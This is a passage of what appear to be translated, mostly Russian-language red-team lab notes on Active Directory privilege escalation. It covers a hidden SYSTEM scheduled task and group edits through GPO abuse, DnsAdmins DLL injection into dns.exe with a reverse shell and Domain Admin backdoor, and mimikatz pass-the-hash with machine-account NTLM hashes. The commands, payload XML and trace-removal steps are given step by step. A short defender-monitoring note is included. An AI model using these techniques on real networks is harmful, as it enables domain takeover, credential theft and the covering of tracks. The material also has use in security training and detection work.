    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>NT AUTHORITY\System</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>false</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>false</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>true</Hidden>
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                    <RestartOnFailure>
                        <Interval>PT15M</Interval>
                        <Count>3</Count>
                    </RestartOnFailure>
                </Settings>
                <Actions Context="Author">
                    <Exec>
                        <Command>cmd</Command>
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
                    </Exec>
                </Actions>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>

Пользователи и группы

Такого же повышения привилегий можно добиться, злоупотребляя функцией GPO Users and Groups. Обратите внимание в приведенном ниже файле, строка 6, где пользователь добавляется в группу локальных администраторов — мы можем изменить пользователя на что-то другое, добавить еще одного или даже добавить пользователя в другую группу/несколько групп, поскольку мы можем изменить конфигурацию политики в указанном месте из-за делегирования GPO, назначенного нашему пользователю безупречно:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

Кроме того, мы могли бы подумать об использовании сценариев входа/выхода из системы, использовании реестра для автозапуска, установке .msi, службах редактирования и аналогичных средствах выполнения кода.

 

[yashechka]

16. От DnsAdmins к SYSTEM к компрометации домена

В этой лабе я пытаюсь получить выполнение кода с привилегиями уровня SYSTEM на контроллере домена, на котором запущена служба DNS, как первоначально исследовал Шэй Бер https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

Атака основана на DLL Injection https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection в службу DNS, работающую как SYSTEM на DNS-сервере, которая большую часть времени находится в контоллере домена.

Выполнение

Чтобы атака сработала, нам нужно скомпрометировать пользователя, который принадлежит к группе DnsAdmins в домене. К счастью, наш пользователь spotless уже принадлежит к указанной группе:

net user spotless /domain

Собираем DLL

Как упоминалось ранее, нам нужно создать DLL-плагин DNS, которую мы будем внедрять в процесс dns.exe на DNS-сервере-жертве (DC). Ниже приведен снимок экрана экспортированных функций DLL, которые ожидаются двоичным файлом dns.exe при загрузке подключаемой DLL. Я также добавил простую системную команду для вызова обратной оболочки netcat после инициализации плагина и выполнения кода.

Затем я протестировал функцию с помощью rundll32, как показано ниже, которая вернула атакующей машине обратную оболочку — код выполняется, оболочка порождается:

rundll32.exe .\dnsprivesc.dll,DnsPluginInitialize

Злоупотребление DNS с помощью dnscmd

Теперь, когда у нас есть DLL и мы проверили, что она работает, мы можем попросить жертву DC01 загрузить нашу вредоносную DLL (из общего сетевого ресурса, контролируемого жертвой на хосте 10.0.0.2) в следующий раз, когда служба запустится (или когда злоумышленник перезапустит ее):

dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll

Ниже приведенное выглядит многообещающе и предполагает, что запрос на загрузку нашей вредоносной DLL был успешным:

dnscmd — это утилита Windows, которая позволяет людям с привилегиями DnsAdmins управлять DNS-сервером. Утилиту можно установить, добавив инструменты DNS-сервера в вашу систему, как показано на снимке экрана ниже.

Приведенная ниже команда на жертве также предполагает, что наш запрос был успешным, а значение реестра ServerLevelPluginDll указывает на нашу вредоносную DLL:

# note that as attacker you cannot check this on a DC since you do not have yet access to the system. Because this is a lab environment, I am checking the registry from the DC itself.
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Получение выполнения кода с помощью NT\SYSTEM

Теперь при следующем запуске службы dns наша вредоносная DLL должна быть загружена в процесс dns.exe, а обратная оболочка должна быть отправлена обратно в нашу атакующую систему, поэтому давайте перезапустим службу DNS:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

К этому моменту я должен был получить реверс оболочку, но, к сожалению, этого не сделал.

После проверки журналов DNS на DC01 я увидел следующую ошибку, предполагающую, что с моей DLL что-то не так:

Я попытался экспортировать функции с изменением имени C++ и без него, и хотя экспорт DLL, казалось, был в порядке в CFF Explorer, я все еще не смог заставить DC успешно загрузить мою вредоносную DLL, не повредив службу DNS:

Хотя мне не удалось правильно внедрить DLL без сбоя службы DNS в моей лабе, я все же решил опубликовать эти заметки на тот случай, если на них наткнется читатель, успешно внедривший пользовательскую DLL и желающий поделитесь своими мыслями о том, что я упускаю из виду, так как это было бы очень признательно.

Поскольку мне не удалось успешно внедрить свою вредоносную DLL в dns.exe, я подумал о попытке внедрить полезную нагрузку meterpreter, используя ту же технику.

Можно заметить, что DLL с полезной нагрузкой meterpreter обязательно загружается, и мы получаем попытку обратного вызова от meterpreter, но поскольку DLL не соответствует требуемому формату (не имеет требуемых экспортируемых функций), сессия немедленно умирает (или это то, о чем я думал изначально — как вы позже увидите, оказалось, что я просто использовал не тот слушатель):

Поскольку приведенное выше предполагает, что код DLL все еще выполняется, мы можем попробовать попросить DLL выполнить следующее на контроллере домена:

net group 'domain admins' spotless /add /domain

dnsprivesc.dll

Прежде чем перезапустить службу DNS и запустить нашу вредоносную DLL, давайте убедимся, что атакующий пользователь не входит в группу администраторов домена:

Теперь, если мы перезапустим службу DNS, которая загрузит нашу addDA.dll, мы увидим, что пользователь spotless теперь является членом администраторов домена:

Предупреждение: в это время служба DNS, вероятно, вышла из строя, поэтому имейте в виду — использование библиотек DLL, которые не соответствуют требованиям плагина, не скрытно, и этот тип активности, вероятно, будет очень быстро обнаружен защитниками, если вы не сможете восстановить службу DNS немедленно.

Ниже подтверждается, что служба DNS не работает, однако мы все еще можем получить доступ к ресурсу DC C$ по IP-адресу DC от нашего пользователя spotless , что означает, что мы повысили привилегии до DA:

Можно подумать о написании сценариев/автоматизации очистки после атаки и восстановлении службы DNS и включить необходимый код в ту же вредоносную DLL, которая в первую очередь создает бэкдор-пользователя:

reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc.exe \\10.0.0.6 stop dns
sc.exe \\10.0.0.6 start dns
//remove any other traces/logs

После восстановления службы DNS мы можем получить доступ к C$, используя имя компьютера DC01:

Бонус

Оказывается, причина, по которой полезная нагрузка meterpreter не удалась, связана с классической ошибкой, заключающейся в том, что вы не используете правильный слушатель для поэтапных/безтапных полезных нагрузок — всегда дважды проверяйте свои полезные нагрузки и убедитесь, что слушатели могут обрабатывать обратные вызовы.

Как только я правильно настроил прослушиватель, оболочка meterpreter вернулась, как и ожидалось, — обратите внимание, что служба dns.exe все еще повреждена.

Наблюдения

В качестве защитника следует рассмотреть возможность мониторинга подозрительных дочерних процессов (rundll32, powershell, cmd, net и т. д.), порожденных dns.exe на контроллерах домена:

Кроме того, вы можете рассмотреть возможность мониторинга значения HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters ServerLevelPluginDll, особенно если оно начинается со строки \\ в поле данных.

Обновление №1

Мне указал читатель, что видео от ippsec

объясняет, почему служба dns дает сбой, поэтому, пожалуйста, посмотрите видео, но если вам лень, ответ предоставляется здесь тоже.

Вам нужно выполнить свой код в новом потоке (это была недостающая часть в моей первой попытке, которая привела к сбою службы) в экспортированной функции DLL DnsPluginInitialize, которая вызывается, когда dnscmd загружает наш вредоносный плагин службы DNS.

 

[yashechka]

17. Pass the Hash с помощью учетных записей Machine$

В этом лабораторном занятии рассматривается использование хэшей паролей NTLM учетных записей компьютеров или, более конкретно, как их можно использовать для передачи хэш-атак для получения дополнительных привилегий, в зависимости от того, в какие группы входит компьютер (в идеале администраторы/администраторы домена).

Эта лаба основана на предположении, что вы получили права локального администратора на рабочей станции (машине), назовем ее WS01$. Поскольку вы выполнили перечисление AD, вы заметили, что WS01$ является членом группы администраторов домена — поздравляем, вы в одном шаге от перехода от локального администратора к администратору домена и полной компрометации домена.

Выполнение

Поиск доменных компьютеров, входящих в интересные группы:

Get-ADComputer -Filter * -Properties MemberOf | ? {$_.MemberOf}

Конечно, то же самое можно наблюдать, просто проверив сетевую группу Domain Admins:

net group "domain admins" /domain

или группу администраторов (не применимо к нашей лабе, но показано в качестве примечания):

net localgroup administrators /domain

В AD выделенную часть можно увидеть здесь:

Извлечение хэша WS01$ NTLM машины после получения прав администратора в системе:

sekurlsa::logonPasswords

Давайте проверим, что наш текущий скомпрометированный пользователь ws01\mantvydas (локальный администратор на ws01) пока не может получить доступ к контроллеру домена DC01:

Поскольку машина WS01$ является членом администраторов домена, и мы извлекли хэш машины с помощью mimikatz, мы можем использовать mimikatz для передачи этого хэша и эффективно повысить наш доступ к администратору домена:

sekurlsa::pth /user:ws01$ /domain:offense.local /ntlm:ab53503b0f35c9883ff89b75527d5861

Ниже показано, как передается хэш машины, что приводит к приглашению cmd.exe с повышенными привилегиями. Использование приглашения с повышенными привилегиями позволяет нам получить доступ к контроллеру домена, как показано, с помощью каталога \\dc01\c$:

Напоминалка

Стоит еще раз подчеркнуть, что учетные записи компьютера/машины по сути такие же, как учетные записи пользователей, и могут быть столь же опасны, если они неправильно настроены.

Давайте создадим новую учетную запись компьютера с powermad следующим образом:

New-MachineAccount -MachineAccount testmachine

Теперь предположим, что кто-то добавил учетную запись testmachine$ в администраторов домена:

Get-NetGroupMember "domain admins" | select membern*

...если мы каким-то образом получим пароль testmachine$, мы сможем перейти к DA. Мы можем проверить это, открыв новую консоль и войдя в систему как testmachine$ с флагом /netonly. Обратите внимание, что изначально пользователь perfect не может отображать файлы на DC01, но после запуска runas /userestmachine$ /netonly powershell и ввода пароля DC01 больше не жалуется и позволяет безукоризненно отображать свою файловую систему: